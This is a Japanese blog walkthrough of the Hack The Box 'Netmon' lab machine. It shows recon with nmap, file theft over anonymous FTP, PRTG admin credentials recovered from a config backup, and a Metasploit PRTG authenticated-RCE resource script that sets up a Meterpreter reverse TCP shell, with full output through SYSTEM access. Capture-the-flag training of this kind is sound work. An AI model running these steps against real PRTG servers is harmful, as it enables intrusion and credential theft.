htb (その13) Netmon 【Walkthrough】~魔道~

魔法使いへの道

はじめに

Hack The Boxは,ペネトレーションテスターやハッカーがスキルを練習し,向上させるための人気のあるプラットフォームです.その中でも難解な「Netmon」というボックスを攻略する方法について,段階的にご紹介します.

前提条件

「Netmon」の攻略に入る前に,以下の前提条件があることを前提としています.

  • Linuxコマンドの基本的な知識
  • Metasploit Frameworkの使い方についての理解
  • Webアプリケーションの脆弱性に関する知識
  • Windowsの特権昇格技術に関する知識

PRTG Network Monitorとは

「PRTG Network Monitor」は,ドイツの会社であるPaessler AGが提供するネットワーク監視ツールです.このツールは,スイッチ,ルーター,サーバー,アプリケーションなどのネットワークデバイスを監視し,問題が発生した場合にはアラートを送信することができます.

Metasploit Frameworkとは

Metasploit Frameworkとは,ペネトレーションテストやセキュリティ調査などで利用されるオープンソースのセキュリティテストツールです.Metasploit Frameworkは,脆弱性評価のための様々なテストや攻撃を自動化し,システムの脆弱性を特定するためのフレームワークを提供します.Metasploit Frameworkは,コマンドラインとグラフィカルユーザーインターフェース(GUI)の両方をサポートしており,多くのOSに対応しています.Metasploit Frameworkは,柔軟性が高く,カスタムコードの作成や既存の攻撃を変更することもできます.

prtg_authenticated_rceとは

"prtg_authenticated_rce" とは,Paessler PRTG Network Monitorと呼ばれるネットワーク監視ソフトウェアの脆弱性を利用して,リモートからコードを実行することができるMetasploitのエクスプロイトです.このエクスプロイトには,PRTG Network Monitorにログインするために必要なクレデンシャル(管理者のユーザー名とパスワード)が必要です.エクスプロイトが成功すると,攻撃者はリモートのシステムにメータプリータセッション(Meterpreterセッション)を確立して,システムに対する完全なアクセスを取得できます.

Meterpreterセッションとは

Meterpreterセッションは,Metasploit Frameworkの一部であり,攻撃者が侵入したコンピュータ上でリモートコントロールを提供するためのプラットフォームです.このセッションは,リモートコンピュータのフルアクセスを提供するために使用され,ハッカーが目標マシンで実行することができる多くのタスクを実行するための強力なツールとして機能します. Meterpreterセッションを確立すると,攻撃者はファイルシステムにアクセスしたり,システムのスクリーンショットを取得したり,ユーザーのキーストロークを監視したり,Webカメラやマイクなどのデバイスを制御したりすることができます.

PRTG Network Monitorの脆弱性

「PRTG Network Monitor」には,以下のような脆弱性が存在しています.

認証の不備

「PRTG Network Monitor」は,デフォルトでは管理者権限でログインすることができます.また,パスワードをハッシュ化せずに保存しているため,パスワードが盗まれた場合には簡単に解読される可能性があります.

権限昇格の脆弱性

「PRTG Network Monitor」は,サービスとして実行されているため,攻撃者がシステムに侵入した場合には,サービスの権限で操作を行うことができます.このため,攻撃者がシステムにアクセスした場合には,システムの完全な制御を取ることができます.

リモートコード実行の脆弱性

「PRTG Network Monitor」は,Webサーバーとして機能しており,Webインターフェースを通じて管理者がネットワークを監視することができます.しかし,Webインターフェースには脆弱性が存在し,攻撃者がリモートから任意のコードを実行することができます.

前回の挑戦

前回の記事はこちら,「 You know 0xDiablos」を攻略しました.

https://hamaruki.com/hack-the-box_you-know-0xdiablos-walkthrough/

魔法使いへの道とは

http://hamaruki.xmagix.com/the-road-to-wizard-hacker/

最初の偵察

任意のマシンをハッキングする最初のステップは,対象についてできるだけ多くの情報を収集することです.以下は,Netmonに関する情報を収集するために使用できるツールや技術です.

Nmapスキャン

Netmonマシンをスキャンする最初のツールとしては,Nmapが挙げられます.Nmapは,オープンポート,サービス,およびオペレーティングシステムを特定するのに役立つ,人気のあるネットワークスキャナです.

nmap -sC -sS -A -v -Pn 10.10.10.152

このコマンドは,Netmonマシンに対して総合的なスキャンを実行しレポートを生成します.


┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ sudo nmap -sC -sS -A -v -Pn 10.10.10.152
[sudo] password for maki: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 14:19 JST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:20
Completed NSE at 14:20, 0.00s elapsed
Initiating NSE at 14:20
Completed NSE at 14:20, 0.00s elapsed
Initiating NSE at 14:20
Completed NSE at 14:20, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 14:20
Completed Parallel DNS resolution of 1 host. at 14:20, 0.01s elapsed
Initiating SYN Stealth Scan at 14:20
Scanning 10.10.10.152 [1000 ports]
Discovered open port 21/tcp on 10.10.10.152
Discovered open port 445/tcp on 10.10.10.152
Discovered open port 80/tcp on 10.10.10.152
Discovered open port 139/tcp on 10.10.10.152
Discovered open port 135/tcp on 10.10.10.152
Increasing send delay for 10.10.10.152 from 0 to 5 due to 202 out of 672 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 5 to 10 due to 11 out of 20 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 10 to 20 due to 11 out of 23 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 20 to 40 due to 11 out of 20 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 40 to 80 due to 11 out of 16 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 80 to 160 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 160 to 320 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 320 to 640 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.10.152 from 640 to 1000 due to 11 out of 11 dropped probes since last increase.
Completed SYN Stealth Scan at 14:23, 218.46s elapsed (1000 total ports)
Initiating Service scan at 14:23
Scanning 5 services on 10.10.10.152
Completed Service scan at 14:23, 7.04s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.152
Retrying OS detection (try #2) against 10.10.10.152
Retrying OS detection (try #3) against 10.10.10.152
Retrying OS detection (try #4) against 10.10.10.152
Retrying OS detection (try #5) against 10.10.10.152
Initiating Traceroute at 14:23
Completed Traceroute at 14:23, 0.26s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 14:23
Completed Parallel DNS resolution of 2 hosts. at 14:23, 0.01s elapsed
NSE: Script scanning 10.10.10.152.
Initiating NSE at 14:23
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Completed NSE at 14:24, 9.57s elapsed
Initiating NSE at 14:24
Completed NSE at 14:24, 1.94s elapsed
Initiating NSE at 14:24
Completed NSE at 14:24, 0.00s elapsed
Nmap scan report for 10.10.10.152
Host is up (0.26s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479
|_http-server-header: PRTG/18.1.37.13946
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=8/14%OT=21%CT=1%CU=41217%PV=Y%DS=2%DC=T%G=Y%TM=62F886F
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=O%TS=
OS:A)OPS(O1=M539NW8ST11%O2=M539NW8ST11%O3=M539NW8NNT11%O4=M539NW8ST11%O5=M5
OS:39NW8ST11%O6=M539ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200
OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M539NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)

Uptime guess: 0.889 days (since Sat Aug 13 17:03:23 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-08-14T05:23:47
|_  start_date: 2022-08-13T08:03:19
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -13s, deviation: 0s, median: -13s

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   255.99 ms 10.10.14.1
2   256.26 ms 10.10.10.152

NSE: Script Post-scanning.
Initiating NSE at 14:24
Completed NSE at 14:24, 0.00s elapsed
Initiating NSE at 14:24
Completed NSE at 14:24, 0.00s elapsed
Initiating NSE at 14:24
Completed NSE at 14:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.77 seconds
           Raw packets sent: 1621 (74.894KB) | Rcvd: 1093 (47.246KB)

ユーザーフラッグ探索

nmapの結果を見ると,Anonymousでアクセスが可能とあるのでアクセスしてみます.
探しているとUser.txtが発見できたのでこれでUserフラグゲットです.


┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:maki): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||50948|)
150 Opening ASCII mode data connection.
02-03-19  12:18AM                 1024 .rnd
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.
ftp> pwd
Remote directory: /
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50949|)
125 Data connection already open; Transfer starting.
02-25-19  11:44PM       <DIR>          Administrator
02-03-19  12:35AM       <DIR>          Public
226 Transfer complete.
ftp> cd Administrator
550 Access is denied. 
ftp> cd Public
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50953|)
150 Opening ASCII mode data connection.
02-03-19  08:05AM       <DIR>          Documents
07-16-16  09:18AM       <DIR>          Downloads
07-16-16  09:18AM       <DIR>          Music
07-16-16  09:18AM       <DIR>          Pictures
08-13-22  04:03AM                   34 user.txt
07-16-16  09:18AM       <DIR>          Videos
226 Transfer complete.
ftp> cat user.txt
?Invalid command.
ftp> mget user.txt
mget user.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||50963|)
150 Opening ASCII mode data connection.
100% |*******************************************************************************************************************************************************************************************|    34        0.13 KiB/s    00:00 ETA
226 Transfer complete.
34 bytes received in 00:00 (0.12 KiB/s)
ftp> q
?Ambiguous command.
ftp> exit
221 Goodbye.

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ ls
flag.txt  user.txt  vuln  vuln_exploit.py  vuln_exploit.py~

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ cat cat user.txt 
07d33d556f518336f2dfcb5d64f4ab64

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ 

このコマンドは,FTPサービスに接続して,ファイルを転送するためのFTPコマンドを実行するものです.

  1. 最初に,10.10.10.152というアドレスに接続します.FTPサーバに接続後,"Anonymous"という名前でログインします.その後,サーバにパスワードを要求されますが,何も入力せずにEnterキーを押すと,Anonymous access allowed, send identity (e-mail name) as password.というメッセージが表示されます.これは,匿名でログインすることができることを示しています.
  2. ログイン後,"ls"コマンドを使用してFTPサーバ上のファイルの一覧を表示し,"cd"コマンドを使用してディレクトリを変更します."cat"コマンドではファイルを表示できなかったため,"mget"コマンドを使用してFTPサーバからファイルをダウンロードします.
  3. 最後に,"exit"コマンドを使用してFTPサービスから切断します.その後,"user.txt"というファイルを表示し,flagを取得します.

ルートフラッグの探索

アクセスしてみるとログイン画面がありました.
このページのユーザー名とパスワードを探しにいきます.

file

FTPでユーザー名とパスワードの入手

再度,FTPで入ります.
そうすると,HTTPで起動していたプログラムのコンフィグファイルが見つかりましたのでこれをダウンロードします.
コンフィグファイルを見てみるとユーザー名とパスワードが記載されていましたので,これを使ってみます.しかし,ログインできないので,更新日時である2019に変更してみると無事にログインできます.

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:maki): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -al
229 Entering Extended Passive Mode (|||52575|)
150 Opening ASCII mode data connection.
11-20-16  10:46PM       <DIR>          $RECYCLE.BIN
02-03-19  12:18AM                 1024 .rnd
11-20-16  09:59PM               389408 bootmgr
07-16-16  09:10AM                    1 BOOTNXT
02-03-19  08:05AM       <DIR>          Documents and Settings
02-25-19  10:15PM       <DIR>          inetpub
08-13-22  04:03AM            738197504 pagefile.sys
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
12-15-21  10:40AM       <DIR>          ProgramData
02-03-19  08:05AM       <DIR>          Recovery
02-03-19  08:04AM       <DIR>          System Volume Information
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls -al
229 Entering Extended Passive Mode (|||52576|)
150 Opening ASCII mode data connection.
02-25-19  11:44PM       <DIR>          Administrator
07-16-16  09:28AM       <DIR>          All Users
02-03-19  08:05AM       <DIR>          Default
07-16-16  09:28AM       <DIR>          Default User
07-16-16  09:16AM                  174 desktop.ini
02-03-19  12:35AM       <DIR>          Public
226 Transfer complete.
ftp> cd All Users
usage: cd remote-directory
ftp> cd All\  Users
usage: cd remote-directory
ftp> ls -al
229 Entering Extended Passive Mode (|||52579|)
125 Data connection already open; Transfer starting.
02-25-19  11:44PM       <DIR>          Administrator
07-16-16  09:28AM       <DIR>          All Users
02-03-19  08:05AM       <DIR>          Default
07-16-16  09:28AM       <DIR>          Default User
07-16-16  09:16AM                  174 desktop.ini
02-03-19  12:35AM       <DIR>          Public
226 Transfer complete.
ftp> cd All\ Users
250 CWD command successful.
ftp> ls -al
229 Entering Extended Passive Mode (|||52587|)
150 Opening ASCII mode data connection.
02-03-19  08:05AM       <DIR>          Application Data
12-15-21  10:40AM       <DIR>          Corefig
02-03-19  08:05AM       <DIR>          Desktop
02-03-19  08:05AM       <DIR>          Documents
02-03-19  12:15AM       <DIR>          Licenses
11-20-16  10:36PM       <DIR>          Microsoft
02-03-19  12:18AM       <DIR>          Paessler
02-03-19  08:05AM       <DIR>          regid.1991-06.com.microsoft
07-16-16  09:18AM       <DIR>          SoftwareDistribution
02-03-19  08:05AM       <DIR>          Start Menu
02-03-19  12:15AM       <DIR>          TEMP
02-03-19  08:05AM       <DIR>          Templates
11-20-16  10:19PM       <DIR>          USOPrivate
11-20-16  10:19PM       <DIR>          USOShared
02-25-19  10:56PM       <DIR>          VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls -al
229 Entering Extended Passive Mode (|||52589|)
150 Opening ASCII mode data connection.
08-14-22  03:09AM       <DIR>          PRTG Network Monitor
226 Transfer complete.
ftp> cd PRTG\ Network\ Monitor
250 CWD command successful.
ftp> ls -al
229 Entering Extended Passive Mode (|||52591|)
150 Opening ASCII mode data connection.
12-15-21  08:23AM       <DIR>          Configuration Auto-Backups
08-13-22  08:00PM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
08-14-22  12:00AM       <DIR>          Logs (Web Server)
08-13-22  08:03PM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
08-14-22  02:41AM              1189472 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
08-14-22  03:09AM              1739474 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
226 Transfer complete.
ftp> mget PRTG*
mget PRTG Configuration.dat [anpqy?]? y
229 Entering Extended Passive Mode (|||52593|)
150 Opening ASCII mode data connection.
  0% |                                                                                                                                                                                           |     0        0.00 KiB/s    --:-- ETAftp: Reading from network: Interrupted system call
  0% |                                                                                                                                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
mget PRTG Configuration.old [anpqy?]? y
229 Entering Extended Passive Mode (|||52594|)
150 Opening ASCII mode data connection.
 16% |*****************************                                                                                                                                                              |   192 KiB  191.79 KiB/s    00:05 ETAftp: Reading from network: Interrupted system call
  0% |                                                                                                                                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
mget PRTG Configuration.old.bak [anpqy?]? y
229 Entering Extended Passive Mode (|||52595|)
150 Opening ASCII mode data connection.
 16% |*****************************                                                                                                                                                              |   183 KiB  183.49 KiB/s    00:05 ETAftp: Reading from network: Interrupted system call
  0% |                                                                                                                                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
mget PRTG Graph Data Cache.dat [anpqy?]? y 
229 Entering Extended Passive Mode (|||52596|)
150 Opening ASCII mode data connection.
 15% |****************************                                                                                                                                                               |   256 KiB  255.95 KiB/s    00:05 ETAftp: Reading from network: Interrupted system call
  0% |                                                                                                                                                                                           |    -1        0.00 KiB/s    --:-- ETA
550 The specified network name is no longer available. 
WARNING! 38 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
ftp> exit
221 Goodbye.

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ ls
 46527.sh  'PRTG Configuration.dat'  'PRTG Configuration.old'  'PRTG Configuration.old.bak'  'PRTG Graph Data Cache.dat'   flag.txt   user.txt   vuln   vuln_exploit.py   vuln_exploit.py~

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ cat PRTG\ Configuration.old.bak | grep -A 2 User     
              <!-- User: prtgadmin -->
              PrTg@dmin2018
            </dbpassword>

┌──(maki㉿kali)-[~/Downloads/YouKnow]
└─$ 

cat PRTG\ Configuration.old.bak | grep -A 2 Userというコマンドを実行しています.これにより,PRTG Configuration.old.bak/code>というファイルから,Userという文字列を含む行を含め,その次の2行を表示します.ここで表示された結果から,prtgadminというユーザー名と,PrTg@dmin2018というパスワードが取得されました.

PRTGを攻撃

prtgを探索するとエクスプロイトがありましたのでこれを使って攻撃します.

┌──(maki㉿kali)-[~/Downloads/Netmon]
└─$ msfconsole

                                   .,,.                  .                                                                                                                                                                              
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P                                                                                                                                                           
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p                                                                                                                                                         
                  d888888P      '7$$$$\""""''^^` .7$$$|D*"'``         ?88'                                                                                                                                                            
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P                                                                                                                                                            
  88P?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"       d8P d8888b $whi?88b 88b                                                                                                                                                        
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b                                                                                                                                                           
d88' d88b 8b?8888P'?8b?88P'.aS$$$$Q*"    `?88'  ?88 ?88 88b  d88 d88                                                                                                                                                                
                          .a#$$$$$$"          88b  d8P  88b?8888P'                                                                                                                                                                    
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:                                                                                                                                                           
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'                                                                                                                                                         
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'                                                                                                                                                          
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'                                                                                                                                                           
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'                                                                                                                                                            
_______________________________________________________________   ,&$$$$$$'_____                                                                                                                                                        
                                                                 ll&&$$$$'                                                                                                                                                              
                                                              .;;lll&&&&'                                                                                                                                                               
                                                            ...;;lllll&'                                                                                                                                                                
                                                          ......;;;llll;;;....                                                                                                                                                          
                                                           ` ......;;;;... .  .                                                                                                                                                         

       =[ metasploit v6.1.39-dev                          ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post       ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View missing module options with show 
missing                                                                                                                                                                                                                                 

msf6 > search prtg

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/prtg_authenticated_rce  2018-06-25       excellent  Yes    PRTG Network Monitor Authenticated RCE

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/prtg_authenticated_rce

msf6 > Interrupt: use the 'exit' command to quit
msf6 > ip a
[*] exec: ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:10:58:c5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.159/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0
       valid_lft 5904sec preferred_lft 5904sec
    inet6 2404:7a85:2561:9400:a804:8b2b:7dd8:9b0a/64 scope global temporary dynamic 
       valid_lft 544461sec preferred_lft 26005sec
    inet6 2404:7a85:2561:9400:a00:27ff:fe10:58c5/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 2591977sec preferred_lft 604777sec
    inet6 fe80::a00:27ff:fe10:58c5/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.14/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::100c/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::236:55cd:15b5:5120/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
msf6 > exit

このコマンドはMetasploit Frameworkを開始するために使用されます. Metasploit Frameworkは,ペネトレーションテストおよび脆弱性スキャンに使用される強力なツールです.このコマンドを実行すると,Metasploitのプロンプトが表示され,検索,エクスプロイト,スキャン,およびペイロードなどの機能が利用できるようになります.

コマンドの実行後,"search prtg"と入力すると,PRTG Network Monitorの脆弱性を検索するためのモジュールが一覧表示されます. "exploit/windows/http/prtg_authenticated_rce"というモジュールが一覧にあります.このモジュールを使用すると,PRTG Network Monitorの認証済みのリモートコード実行が可能です.

攻撃レシピの作成

use exploit/windows/http/prtg_authenticated_rce

set RHOSTS 10.10.10.152
set PAYLOAD windows/meterpreter/reverse_tcp

set ADMIN_USERNAME prtgadmin
set ADMIN_PASSWORD PrTg@dmin2019

set VHOST 10.10.14.14
set LHOST 10.10.14.14

exploit

上記のプログラムを記載します.
このコマンドは,PRTG Network Monitorにある認証済みのリモートコード実行(RCE)の脆弱性を悪用するためのものです.この脆弱性を悪用すると,攻撃者はリモートシステムに悪意のあるコードを実行することができます.

以下は,各コマンドの説明です:

  • use exploit/windows/http/prtg_authenticated_rce: MetasploitのPRTG Network Monitorに対する脆弱性のエクスプロイトモジュールを使用します.
  • set RHOSTS 10.10.10.152: 標的となるシステムのIPアドレスを指定します.
  • set PAYLOAD windows/meterpreter/reverse_tcp: ペイロードを設定します.この場合は,Windowsシステムで動作するメータープリターを使用して,逆接続を行います.
  • set ADMIN_USERNAME prtgadmin: PRTGの管理者ユーザー名を指定します.
  • set ADMIN_PASSWORD PrTg@dmin2019: PRTGの管理者パスワードを指定します.
  • set VHOST 10.10.14.14: 攻撃者が所有するIPアドレスを指定します.
  • set LHOST 10.10.14.14: リバースシェルを接続するIPアドレスを指定します.
  • exploit: 指定された設定でエクスプロイトを開始します

攻撃開始


┌──(maki㉿kali)-[~/Downloads/Netmon]
└─$ msfconsole -r netmon_hack.rc 

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm ?MMM             MMMM dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        https://metasploit.com

       =[ metasploit v6.1.39-dev                          ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post       ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: When in a module, use back to go 
back to the top level prompt

[*] Processing netmon_hack.rc for ERB directives.
resource (netmon_hack.rc)> use exploit/windows/http/prtg_authenticated_rce
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
resource (netmon_hack.rc)> set RHOSTS 10.10.10.152
RHOSTS => 10.10.10.152
resource (netmon_hack.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (netmon_hack.rc)> set ADMIN_USERNAME prtgadmin
ADMIN_USERNAME => prtgadmin
resource (netmon_hack.rc)> set ADMIN_PASSWORD PrTg@dmin2019
ADMIN_PASSWORD => PrTg@dmin2019
resource (netmon_hack.rc)> set VHOST 10.10.14.14
VHOST => 10.10.14.14
resource (netmon_hack.rc)> set LHOST 10.10.14.14
LHOST => 10.10.14.14
resource (netmon_hack.rc)> exploit
[*] Started reverse TCP handler on 10.10.14.14:4444 
[+] Successfully logged in with provided credentials
[+] Created malicious notification (objid=2018)
[+] Triggered malicious notification
[+] Deleted malicious notification
[*] Waiting for payload execution.. (30 sec. max)
[*] Sending stage (175174 bytes) to 10.10.10.152
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.152:51920 ) at 2022-08-14 15:36:26 +0900

無事に入れました.ここで,root.txtを調べるとありましたので,これでフラグゲットです.


meterpreter > sysinfo
Computer        : NETMON
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > search -f root.txt C:\\
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\root.txt  34            2022-08-13 17:03:44 +0900

meterpreter > cat c:\Users\Administrator\Desktop\root.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat "c:\Users\Administrator\Desktop\root.txt"
8f079b55e**********

結論

